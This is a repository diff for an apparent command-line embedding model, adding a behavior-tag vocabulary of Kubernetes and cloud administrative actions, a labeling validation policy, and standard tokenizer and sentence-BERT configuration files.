364
+ "read_cluster_context",
365
+ "enumerate_cluster_secrets",
366
+ "create_cluster_secret",
367
+ "modify_cluster_secret",
368
+ "delete_cluster_secret",
369
+ "export_cluster_resources",
370
+ "grant_cluster_privilege",
371
+ "modify_cluster_auth_policy",
372
+ "create_cluster_identity",
373
+ "export_cluster_config",
374
+ "verify_auth_policy",
375
+ "port_forward_workload",
376
+ "create_local_kubernetes_cluster",
377
+ "inspect_local_kubernetes_cluster",
378
+ "delete_local_kubernetes_cluster"
379
+ ],
380
+ "cloud_control_plane": [
381
+ "authenticate_cloud_cli",
382
+ "configure_cloud_cli",
383
+ "enumerate_cloud_accounts",
384
+ "enumerate_cloud_identity",
385
+ "create_cloud_identity",
386
+ "modify_cloud_identity",
387
+ "delete_cloud_identity",
388
+ "create_cloud_access_key",
389
+ "grant_cloud_privilege",
390
+ "revoke_cloud_privilege",
391
+ "modify_cloud_identity_policy",
392
+ "create_cloud_compute",
393
+ "execute_cloud_compute",
394
+ "connect_cloud_database",
395
+ "query_cloud_database",
396
+ "create_cloud_resource",
397
+ "modify_cloud_resource",
398
+ "delete_cloud_resource",
399
+ "modify_cloud_firewall",
400
+ "query_cloud_audit",
401
+ "enumerate_cloud_secrets",
402
+ "read_cloud_secret",
403
+ "modify_cloud_secret",
404
+ "initialize_infrastructure_template",
405
+ "plan_infrastructure_template",
406
+ "apply_infrastructure_template",
407
+ "destroy_infrastructure_template",
408
+ "deploy_cloud_template"
409
+ ]
410
+ },
411
+ "validation_gate": {
412
+ "acceptance": "Before corpus migration, manually reverse-label representative held-out cmdlines and require >=98% exact behavior_tags agreement without expanding the vocabulary for one-off cases.",
413
+ "change_policy": "Add, merge, rename, or remove labels only for repeated structural failures or unstable boundaries."
414
+ }
415
+ }
semantic_texts.jsonl ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:fb9cf11a9b181f21c157767d2076b0af397b7015c9bd80e6b31bba4727694215
3
+ size 161486
sentence_bert_config.json ADDED
@@ -0,0 +1,4 @@
 
 
 
 
 
1
+ {
2
+ "max_seq_length": 160,
3
+ "do_lower_case": false
4
+ }
special_tokens_map.json ADDED
@@ -0,0 +1,37 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "cls_token": {
3
+ "content": "[CLS]",
4
+ "lstrip": false,
5
+ "normalized": false,
6
+ "rstrip": false,
7
+ "single_word": false
8
+ },
9
+ "mask_token": {
10
+ "content": "[MASK]",
11
+ "lstrip": true,
12
+ "normalized": false,
13
+ "rstrip": false,
14
+ "single_word": false
15
+ },
16
+ "pad_token": {
17
+ "content": "[PAD]",
18
+ "lstrip": false,
19
+ "normalized": false,
20
+ "rstrip": false,
21
+ "single_word": false
22
+ },
23
+ "sep_token": {
24
+ "content": "[SEP]",
25
+ "lstrip": false,
26
+ "normalized": false,
27
+ "rstrip": false,
28
+ "single_word": false
29
+ },
30
+ "unk_token": {
31
+ "content": "[UNK]",
32
+ "lstrip": false,
33
+ "normalized": false,
34
+ "rstrip": false,
35
+ "single_word": false
36
+ }
37
+ }
tokenizer.json ADDED
The diff for this file is too large to render. See raw diff
 
tokenizer_config.json ADDED
@@ -0,0 +1,945 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "added_tokens_decoder": {
3
+ "0": {
4
+ "content": "|||IP_ADDRESS|||",
5
+ "lstrip": false,
6
+ "normalized": true,
7
+ "rstrip": false,
8
+ "single_word": false,
9
+ "special": false
10
+ },
11
+ "1": {
12
+ "content": "<|padding|>",
13
+ "lstrip": false,
14
+ "normalized": false,
15
+ "rstrip": false,
16
+ "single_word": false,
17
+ "special": true
18
+ },
19
+ "50254": {
20
+ "content": " ",
21
+ "lstrip": false,
22
+ "normalized": true,
23
+ "rstrip": false,
24
+ "single_word": false,
25
+ "special": false
26
+ },
27
+ "50255": {
28
+ "content": " ",
29
+ "lstrip": false,
30
+ "normalized": true,
31
+ "rstrip": false,
32
+ "single_word": false,
33
+ "special": false
34
+ },
35
+ "50256": {
36
+ "content": " ",
37
+ "lstrip": false,
38
+ "normalized": true,
39
+ "rstrip": false,
40
+ "single_word": false,
41
+ "special": false
42
+ },
43
+ "50257": {
44
+ "content": " ",
45
+ "lstrip": false,
46
+ "normalized": true,
47
+ "rstrip": false,
48
+ "single_word": false,
49
+ "special": false
50
+ },
51
+ "50258": {
52
+ "content": " ",
53
+ "lstrip": false,
54
+ "normalized": true,
55
+ "rstrip": false,
56
+ "single_word": false,
57
+ "special": false
58
+ },
59
+ "50259": {
60
+ "content": " ",
61
+ "lstrip": false,
62
+ "normalized": true,
63
+ "rstrip": false,
64
+ "single_word": false,
65
+ "special": false
66
+ },
67
+ "50260": {
68
+ "content": " ",
69
+ "lstrip": false,
70
+ "normalized": true,
71
+ "rstrip": false,
72
+ "single_word": false,
73
+ "special": false
74
+ },
75
+ "50261": {
76
+ "content": " ",
77
+ "lstrip": false,
78
+ "normalized": true,
79
+ "rstrip": false,
80
+ "single_word": false,
81
+ "special": false
82
+ },
83
+ "50262": {
84
+ "content": " ",
85
+ "lstrip": false,
86
+ "normalized": true,
87
+ "rstrip": false,
88
+ "single_word": false,
89
+ "special": false
90
+ },
91
+ "50263": {
92
+ "content": " ",
93
+ "lstrip": false,
94
+ "normalized": true,
95
+ "rstrip": false,
96
+ "single_word": false,
97
+ "special": false
98
+ },
99
+ "50264": {
100
+ "content": " ",
101
+ "lstrip": false,
102
+ "normalized": true,
103
+ "rstrip": false,
104
+ "single_word": false,
105
+ "special": false
106
+ },
107
+ "50265": {
108
+ "content": " ",
109
+ "lstrip": false,
110
+ "normalized": true,
111
+ "rstrip": false,
112
+ "single_word": false,
113
+ "special": false
114
+ },
115
+ "50266": {
116
+ "content": " ",
117
+ "lstrip": false,
118
+ "normalized": true,
119
+ "rstrip": false,
120
+ "single_word": false,
121
+ "special": false
122
+ },
123
+ "50267": {
124
+ "content": " ",
125
+ "lstrip": false,
126
+ "normalized": true,
127
+ "rstrip": false,
128
+ "single_word": false,
129
+ "special": false
130
+ },
131
+ "50268": {
132
+ "content": " ",
133
+ "lstrip": false,
134
+ "normalized": true,
135
+ "rstrip": false,
136
+ "single_word": false,
137
+ "special": false
138
+ },
139
+ "50269": {
140
+ "content": " ",
141
+ "lstrip": false,
142
+ "normalized": true,
143
+ "rstrip": false,
144
+ "single_word": false,
145
+ "special": false
146
+ },
147
+ "50270": {
148
+ "content": " ",
149
+ "lstrip": false,
150
+ "normalized": true,
151
+ "rstrip": false,
152
+ "single_word": false,
153
+ "special": false
154
+ },
155
+ "50271": {
156
+ "content": " ",
157
+ "lstrip": false,
158
+ "normalized": true,
159
+ "rstrip": false,
160
+ "single_word": false,
161
+ "special": false
162
+ },
163
+ "50272": {
164
+ "content": " ",
165
+ "lstrip": false,
166
+ "normalized": true,
167
+ "rstrip": false,
168
+ "single_word": false,
169
+ "special": false
170
+ },
171
+ "50273": {
172
+ "content": " ",
173
+ "lstrip": false,
174
+ "normalized": true,
175
+ "rstrip": false,
176
+ "single_word": false,
177
+ "special": false
178
+ },
179
+ "50274": {
180
+ "content": " ",
181
+ "lstrip": false,
182
+ "normalized": true,
183
+ "rstrip": false,
184
+ "single_word": false,
185
+ "special": false
186
+ },
187
+ "50275": {
188
+ "content": " ",
189
+ "lstrip": false,
190
+ "normalized": true,
191
+ "rstrip": false,
192
+ "single_word": false,
193
+ "special": false
194
+ },
195
+ "50276": {
196
+ "content": " ",
197
+ "lstrip": false,
198
+ "normalized": true,
199
+ "rstrip": false,
200
+ "single_word": false,
201
+ "special": false
202
+ },
203
+ "50277": {
204
+ "content": "|||EMAIL_ADDRESS|||",
205
+ "lstrip": false,
206
+ "normalized": true,
207
+ "rstrip": false,
208
+ "single_word": false,
209
+ "special": false
210
+ },
211
+ "50278": {
212
+ "content": "|||PHONE_NUMBER|||",
213
+ "lstrip": false,
214
+ "normalized": true,
215
+ "rstrip": false,
216
+ "single_word": false,
217
+ "special": false
218
+ },
219
+ "50279": {
220
+ "content": "<|endoftext|>",
221
+ "lstrip": false,
222
+ "normalized": false,
223
+ "rstrip": false,
224
+ "single_word": false,
225
+ "special": true
226
+ },
227
+ "50280": {
228
+ "content": "[UNK]",
229
+ "lstrip": false,
230
+ "normalized": false,
231
+ "rstrip": false,
232
+ "single_word": false,
233
+ "special": true
234
+ },
235
+ "50281": {
236
+ "content": "[CLS]",
237
+ "lstrip": false,
238
+ "normalized": false,
239
+ "rstrip": false,
240
+ "single_word": false,
241
+ "special": true
242
+ },
243
+ "50282": {
244
+ "content": "[SEP]",
245
+ "lstrip": false,
246
+ "normalized": false,
247
+ "rstrip": false,
248
+ "single_word": false,
249
+ "special": true
250
+ },
251
+ "50283": {
252
+ "content": "[PAD]",
253
+ "lstrip": false,
254
+ "normalized": false,
255
+ "rstrip": false,
256
+ "single_word": false,
257
+ "special": true
258
+ },
259
+ "50284": {
260
+ "content": "[MASK]",
261
+ "lstrip": true,
262
+ "normalized": false,
263
+ "rstrip": false,
264
+ "single_word": false,
265
+ "special": true
266
+ },
267
+ "50285": {
268
+ "content": "[unused0]",
269
+ "lstrip": false,
270
+ "normalized": true,
271
+ "rstrip": false,
272
+ "single_word": false,
273
+ "special": false
274
+ },
275
+ "50286": {
276
+ "content": "[unused1]",
277
+ "lstrip": false,
278
+ "normalized": true,
279
+ "rstrip": false,
280
+ "single_word": false,
281
+ "special": false
282
+ },
283
+ "50287": {
284
+ "content": "[unused2]",
285
+ "lstrip": false,
286
+ "normalized": true,
287
+ "rstrip": false,
288
+ "single_word": false,
289
+ "special": false
290
+ },
291
+ "50288": {
292
+ "content": "[unused3]",
293
+ "lstrip": false,
294
+ "normalized": true,
295
+ "rstrip": false,
296
+ "single_word": false,
297
+ "special": false
298
+ },
299
+ "50289": {
300
+ "content": "[unused4]",
301
+ "lstrip": false,
302
+ "normalized": true,
303
+ "rstrip": false,
304
+ "single_word": false,
305
+ "special": false
306
+ },
307
+ "50290": {
308
+ "content": "[unused5]",
309
+ "lstrip": false,
310
+ "normalized": true,
311
+ "rstrip": false,
312
+ "single_word": false,
313
+ "special": false
314
+ },
315
+ "50291": {
316
+ "content": "[unused6]",
317
+ "lstrip": false,
318
+ "normalized": true,
319
+ "rstrip": false,
320
+ "single_word": false,
321
+ "special": false
322
+ },
323
+ "50292": {
324
+ "content": "[unused7]",
325
+ "lstrip": false,
326
+ "normalized": true,
327
+ "rstrip": false,
328
+ "single_word": false,
329
+ "special": false
330
+ },
331
+ "50293": {
332
+ "content": "[unused8]",
333
+ "lstrip": false,
334
+ "normalized": true,
335
+ "rstrip": false,
336
+ "single_word": false,
337
+ "special": false
338
+ },
339
+ "50294": {
340
+ "content": "[unused9]",
341
+ "lstrip": false,
342
+ "normalized": true,
343
+ "rstrip": false,
344
+ "single_word": false,
345
+ "special": false
346
+ },
347
+ "50295": {
348
+ "content": "[unused10]",
349
+ "lstrip": false,
350
+ "normalized": true,
351
+ "rstrip": false,
352
+ "single_word": false,
353
+ "special": false
354
+ },
355
+ "50296": {
356
+ "content": "[unused11]",
357
+ "lstrip": false,
358
+ "normalized": true,
359
+ "rstrip": false,
360
+ "single_word": false,
361
+ "special": false
362
+ },
363
+ "50297": {
364
+ "content": "[unused12]",
365
+ "lstrip": false,
366
+ "normalized": true,
367
+ "rstrip": false,
368
+ "single_word": false,
369
+ "special": false
370
+ },
371
+ "50298": {
372
+ "content": "[unused13]",
373
+ "lstrip": false,
374
+ "normalized": true,
375
+ "rstrip": false,
376
+ "single_word": false,
377
+ "special": false
378
+ },
379
+ "50299": {
380
+ "content": "[unused14]",
381
+ "lstrip": false,
382
+ "normalized": true,
383
+ "rstrip": false,
384
+ "single_word": false,
385
+ "special": false
386
+ },
387
+ "50300": {
388
+ "content": "[unused15]",
389
+ "lstrip": false,
390
+ "normalized": true,
391
+ "rstrip": false,
392
+ "single_word": false,
393
+ "special": false
394
+ },
395
+ "50301": {
396
+ "content": "[unused16]",
397
+ "lstrip": false,
398
+ "normalized": true,
399
+ "rstrip": false,
400
+ "single_word": false,
401
+ "special": false
402
+ },
403
+ "50302": {
404
+ "content": "[unused17]",
405
+ "lstrip": false,
406
+ "normalized": true,
407
+ "rstrip": false,
408
+ "single_word": false,
409
+ "special": false
410
+ },
411
+ "50303": {
412
+ "content": "[unused18]",
413
+ "lstrip": false,
414
+ "normalized": true,
415
+ "rstrip": false,
416
+ "single_word": false,
417
+ "special": false
418
+ },
419
+ "50304": {
420
+ "content": "[unused19]",
421
+ "lstrip": false,
422
+ "normalized": true,
423
+ "rstrip": false,
424
+ "single_word": false,
425
+ "special": false
426
+ },
427
+ "50305": {
428
+ "content": "[unused20]",
429
+ "lstrip": false,
430
+ "normalized": true,
431
+ "rstrip": false,
432
+ "single_word": false,
433
+ "special": false
434
+ },
435
+ "50306": {
436
+ "content": "[unused21]",
437
+ "lstrip": false,
438
+ "normalized": true,
439
+ "rstrip": false,
440
+ "single_word": false,
441
+ "special": false
442
+ },
443
+ "50307": {
444
+ "content": "[unused22]",
445
+ "lstrip": false,
446
+ "normalized": true,
447
+ "rstrip": false,
448
+ "single_word": false,
449
+ "special": false
450
+ },
451
+ "50308": {
452
+ "content": "[unused23]",
453
+ "lstrip": false,
454
+ "normalized": true,
455
+ "rstrip": false,
456
+ "single_word": false,
457
+ "special": false
458
+ },
459
+ "50309": {
460
+ "content": "[unused24]",
461
+ "lstrip": false,
462
+ "normalized": true,
463
+ "rstrip": false,
464
+ "single_word": false,
465
+ "special": false
466
+ },
467
+ "50310": {
468
+ "content": "[unused25]",
469
+ "lstrip": false,
470
+ "normalized": true,
471
+ "rstrip": false,
472
+ "single_word": false,
473
+ "special": false
474
+ },
475
+ "50311": {
476
+ "content": "[unused26]",
477
+ "lstrip": false,
478
+ "normalized": true,
479
+ "rstrip": false,
480
+ "single_word": false,
481
+ "special": false
482
+ },
483
+ "50312": {
484
+ "content": "[unused27]",
485
+ "lstrip": false,
486
+ "normalized": true,
487
+ "rstrip": false,
488
+ "single_word": false,
489
+ "special": false
490
+ },
491
+ "50313": {
492
+ "content": "[unused28]",
493
+ "lstrip": false,
494
+ "normalized": true,
495
+ "rstrip": false,
496
+ "single_word": false,
497
+ "special": false
498
+ },
499
+ "50314": {
500
+ "content": "[unused29]",
501
+ "lstrip": false,
502
+ "normalized": true,
503
+ "rstrip": false,
504
+ "single_word": false,
505
+ "special": false
506
+ },
507
+ "50315": {
508
+ "content": "[unused30]",
509
+ "lstrip": false,
510
+ "normalized": true,
511
+ "rstrip": false,
512
+ "single_word": false,
513
+ "special": false
514
+ },
515
+ "50316": {
516
+ "content": "[unused31]",
517
+ "lstrip": false,
518
+ "normalized": true,
519
+ "rstrip": false,
520
+ "single_word": false,
521
+ "special": false
522
+ },
523
+ "50317": {
524
+ "content": "[unused32]",
525
+ "lstrip": false,
526
+ "normalized": true,
527
+ "rstrip": false,
528
+ "single_word": false,
529
+ "special": false
530
+ },
531
+ "50318": {
532
+ "content": "[unused33]",
533
+ "lstrip": false,
534
+ "normalized": true,
535
+ "rstrip": false,
536
+ "single_word": false,
537
+ "special": false
538
+ },
539
+ "50319": {
540
+ "content": "[unused34]",
541
+ "lstrip": false,
542
+ "normalized": true,
543
+ "rstrip": false,
544
+ "single_word": false,
545
+ "special": false
546
+ },
547
+ "50320": {
548
+ "content": "[unused35]",
549
+ "lstrip": false,
550
+ "normalized": true,
551
+ "rstrip": false,
552
+ "single_word": false,
553
+ "special": false
554
+ },
555
+ "50321": {
556
+ "content": "[unused36]",
557
+ "lstrip": false,
558
+ "normalized": true,
559
+ "rstrip": false,
560
+ "single_word": false,
561
+ "special": false
562
+ },
563
+ "50322": {
564
+ "content": "[unused37]",
565
+ "lstrip": false,
566
+ "normalized": true,
567
+ "rstrip": false,
568
+ "single_word": false,
569
+ "special": false
570
+ },
571
+ "50323": {
572
+ "content": "[unused38]",
573
+ "lstrip": false,
574
+ "normalized": true,
575
+ "rstrip": false,
576
+ "single_word": false,
577
+ "special": false
578
+ },
579
+ "50324": {
580
+ "content": "[unused39]",
581
+ "lstrip": false,
582
+ "normalized": true,
583
+ "rstrip": false,
584
+ "single_word": false,
585
+ "special": false
586
+ },
587
+ "50325": {
588
+ "content": "[unused40]",
589
+ "lstrip": false,
590
+ "normalized": true,
591
+ "rstrip": false,
592
+ "single_word": false,
593
+ "special": false
594
+ },
595
+ "50326": {
596
+ "content": "[unused41]",
597
+ "lstrip": false,
598
+ "normalized": true,
599
+ "rstrip": false,
600
+ "single_word": false,
601
+ "special": false
602
+ },
603
+ "50327": {
604
+ "content": "[unused42]",
605
+ "lstrip": false,
606
+ "normalized": true,
607
+ "rstrip": false,
608
+ "single_word": false,
609
+ "special": false
610
+ },
611
+ "50328": {
612
+ "content": "[unused43]",
613
+ "lstrip": false,
614
+ "normalized": true,
615
+ "rstrip": false,
616
+ "single_word": false,
617
+ "special": false
618
+ },
619
+ "50329": {
620
+ "content": "[unused44]",
621
+ "lstrip": false,
622
+ "normalized": true,
623
+ "rstrip": false,
624
+ "single_word": false,
625
+ "special": false
626
+ },
627
+ "50330": {
628
+ "content": "[unused45]",
629
+ "lstrip": false,
630
+ "normalized": true,
631
+ "rstrip": false,
632
+ "single_word": false,
633
+ "special": false
634
+ },
635
+ "50331": {
636
+ "content": "[unused46]",
637
+ "lstrip": false,
638
+ "normalized": true,
639
+ "rstrip": false,
640
+ "single_word": false,
641
+ "special": false
642
+ },
643
+ "50332": {
644
+ "content": "[unused47]",
645
+ "lstrip": false,
646
+ "normalized": true,
647
+ "rstrip": false,
648
+ "single_word": false,
649
+ "special": false
650
+ },
651
+ "50333": {
652
+ "content": "[unused48]",
653
+ "lstrip": false,
654
+ "normalized": true,
655
+ "rstrip": false,
656
+ "single_word": false,
657
+ "special": false
658
+ },
659
+ "50334": {
660
+ "content": "[unused49]",
661
+ "lstrip": false,
662
+ "normalized": true,
663
+ "rstrip": false,
664
+ "single_word": false,
665
+ "special": false
666
+ },
667
+ "50335": {
668
+ "content": "[unused50]",
669
+ "lstrip": false,
670
+ "normalized": true,
671
+ "rstrip": false,
672
+ "single_word": false,
673
+ "special": false
674
+ },
675
+ "50336": {
676
+ "content": "[unused51]",
677
+ "lstrip": false,
678
+ "normalized": true,
679
+ "rstrip": false,
680
+ "single_word": false,
681
+ "special": false
682
+ },
683
+ "50337": {
684
+ "content": "[unused52]",
685
+ "lstrip": false,
686
+ "normalized": true,
687
+ "rstrip": false,
688
+ "single_word": false,
689
+ "special": false
690
+ },
691
+ "50338": {
692
+ "content": "[unused53]",
693
+ "lstrip": false,
694
+ "normalized": true,
695
+ "rstrip": false,
696
+ "single_word": false,
697
+ "special": false
698
+ },
699
+ "50339": {
700
+ "content": "[unused54]",
701
+ "lstrip": false,
702
+ "normalized": true,
703
+ "rstrip": false,
704
+ "single_word": false,
705
+ "special": false
706
+ },
707
+ "50340": {
708
+ "content": "[unused55]",
709
+ "lstrip": false,
710
+ "normalized": true,
711
+ "rstrip": false,
712
+ "single_word": false,
713
+ "special": false
714
+ },
715
+ "50341": {
716
+ "content": "[unused56]",
717
+ "lstrip": false,
718
+ "normalized": true,
719
+ "rstrip": false,
720
+ "single_word": false,
721
+ "special": false
722
+ },
723
+ "50342": {
724
+ "content": "[unused57]",
725
+ "lstrip": false,
726
+ "normalized": true,
727
+ "rstrip": false,
728
+ "single_word": false,
729
+ "special": false
730
+ },
731
+ "50343": {
732
+ "content": "[unused58]",
733
+ "lstrip": false,
734
+ "normalized": true,
735
+ "rstrip": false,
736
+ "single_word": false,
737
+ "special": false
738
+ },
739
+ "50344": {
740
+ "content": "[unused59]",
741
+ "lstrip": false,
742
+ "normalized": true,
743
+ "rstrip": false,
744
+ "single_word": false,
745
+ "special": false
746
+ },
747
+ "50345": {
748
+ "content": "[unused60]",
749
+ "lstrip": false,
750
+ "normalized": true,
751
+ "rstrip": false,
752
+ "single_word": false,
753
+ "special": false
754
+ },
755
+ "50346": {
756
+ "content": "[unused61]",
757
+ "lstrip": false,
758
+ "normalized": true,
759
+ "rstrip": false,
760
+ "single_word": false,
761
+ "special": false
762
+ },
763
+ "50347": {
764
+ "content": "[unused62]",
765
+ "lstrip": false,
766
+ "normalized": true,
767
+ "rstrip": false,
768
+ "single_word": false,
769
+ "special": false
770
+ },
771
+ "50348": {
772
+ "content": "[unused63]",
773
+ "lstrip": false,
774
+ "normalized": true,
775
+ "rstrip": false,
776
+ "single_word": false,
777
+ "special": false
778
+ },
779
+ "50349": {
780
+ "content": "[unused64]",
781
+ "lstrip": false,
782
+ "normalized": true,
783
+ "rstrip": false,
784
+ "single_word": false,
785
+ "special": false
786
+ },
787
+ "50350": {
788
+ "content": "[unused65]",
789
+ "lstrip": false,
790
+ "normalized": true,
791
+ "rstrip": false,
792
+ "single_word": false,
793
+ "special": false
794
+ },
795
+ "50351": {
796
+ "content": "[unused66]",
797
+ "lstrip": false,
798
+ "normalized": true,
799
+ "rstrip": false,
800
+ "single_word": false,
801
+ "special": false
802
+ },
803
+ "50352": {
804
+ "content": "[unused67]",
805
+ "lstrip": false,
806
+ "normalized": true,
807
+ "rstrip": false,
808
+ "single_word": false,
809
+ "special": false
810
+ },
811
+ "50353": {
812
+ "content": "[unused68]",
813
+ "lstrip": false,
814
+ "normalized": true,
815
+ "rstrip": false,
816
+ "single_word": false,
817
+ "special": false
818
+ },
819
+ "50354": {
820
+ "content": "[unused69]",
821
+ "lstrip": false,
822
+ "normalized": true,
823
+ "rstrip": false,
824
+ "single_word": false,
825
+ "special": false
826
+ },
827
+ "50355": {
828
+ "content": "[unused70]",
829
+ "lstrip": false,
830
+ "normalized": true,
831
+ "rstrip": false,
832
+ "single_word": false,
833
+ "special": false
834
+ },
835
+ "50356": {
836
+ "content": "[unused71]",
837
+ "lstrip": false,
838
+ "normalized": true,
839
+ "rstrip": false,
840
+ "single_word": false,
841
+ "special": false
842
+ },
843
+ "50357": {
844
+ "content": "[unused72]",
845
+ "lstrip": false,
846
+ "normalized": true,
847
+ "rstrip": false,
848
+ "single_word": false,
849
+ "special": false
850
+ },
851
+ "50358": {
852
+ "content": "[unused73]",
853
+ "lstrip": false,
854
+ "normalized": true,
855
+ "rstrip": false,
856
+ "single_word": false,
857
+ "special": false
858
+ },
859
+ "50359": {
860
+ "content": "[unused74]",
861
+ "lstrip": false,
862
+ "normalized": true,
863
+ "rstrip": false,
864
+ "single_word": false,
865
+ "special": false
866
+ },
867
+ "50360": {
868
+ "content": "[unused75]",
869
+ "lstrip": false,
870
+ "normalized": true,
871
+ "rstrip": false,
872
+ "single_word": false,
873
+ "special": false
874
+ },
875
+ "50361": {
876
+ "content": "[unused76]",
877
+ "lstrip": false,
878
+ "normalized": true,
879
+ "rstrip": false,
880
+ "single_word": false,
881
+ "special": false
882
+ },
883
+ "50362": {
884
+ "content": "[unused77]",
885
+ "lstrip": false,
886
+ "normalized": true,
887
+ "rstrip": false,
888
+ "single_word": false,
889
+ "special": false
890
+ },
891
+ "50363": {
892
+ "content": "[unused78]",
893
+ "lstrip": false,
894
+ "normalized": true,
895
+ "rstrip": false,
896
+ "single_word": false,
897
+ "special": false
898
+ },
899
+ "50364": {
900
+ "content": "[unused79]",
901
+ "lstrip": false,
902
+ "normalized": true,
903
+ "rstrip": false,
904
+ "single_word": false,
905
+ "special": false
906
+ },
907
+ "50365": {
908
+ "content": "[unused80]",
909
+ "lstrip": false,
910
+ "normalized": true,
911
+ "rstrip": false,
912
+ "single_word": false,
913
+ "special": false
914
+ },
915
+ "50366": {
916
+ "content": "[unused81]",
917
+ "lstrip": false,
918
+ "normalized": true,
919
+ "rstrip": false,
920
+ "single_word": false,
921
+ "special": false
922
+ },
923
+ "50367": {
924
+ "content": "[unused82]",
925
+ "lstrip": false,
926
+ "normalized": true,
927
+ "rstrip": false,
928
+ "single_word": false,
929
+ "special": false
930
+ }
931
+ },
932
+ "clean_up_tokenization_spaces": true,
933
+ "cls_token": "[CLS]",
934
+ "extra_special_tokens": {},
935
+ "mask_token": "[MASK]",
936
+ "model_input_names": [
937
+ "input_ids",
938
+ "attention_mask"
939
+ ],
940
+ "model_max_length": 1000000000000000019884624838656,
941
+ "pad_token": "[PAD]",
942
+ "sep_token": "[SEP]",
943
+ "tokenizer_class": "PreTrainedTokenizerFast",
944
+ "unk_token": "[UNK]"
945
+ }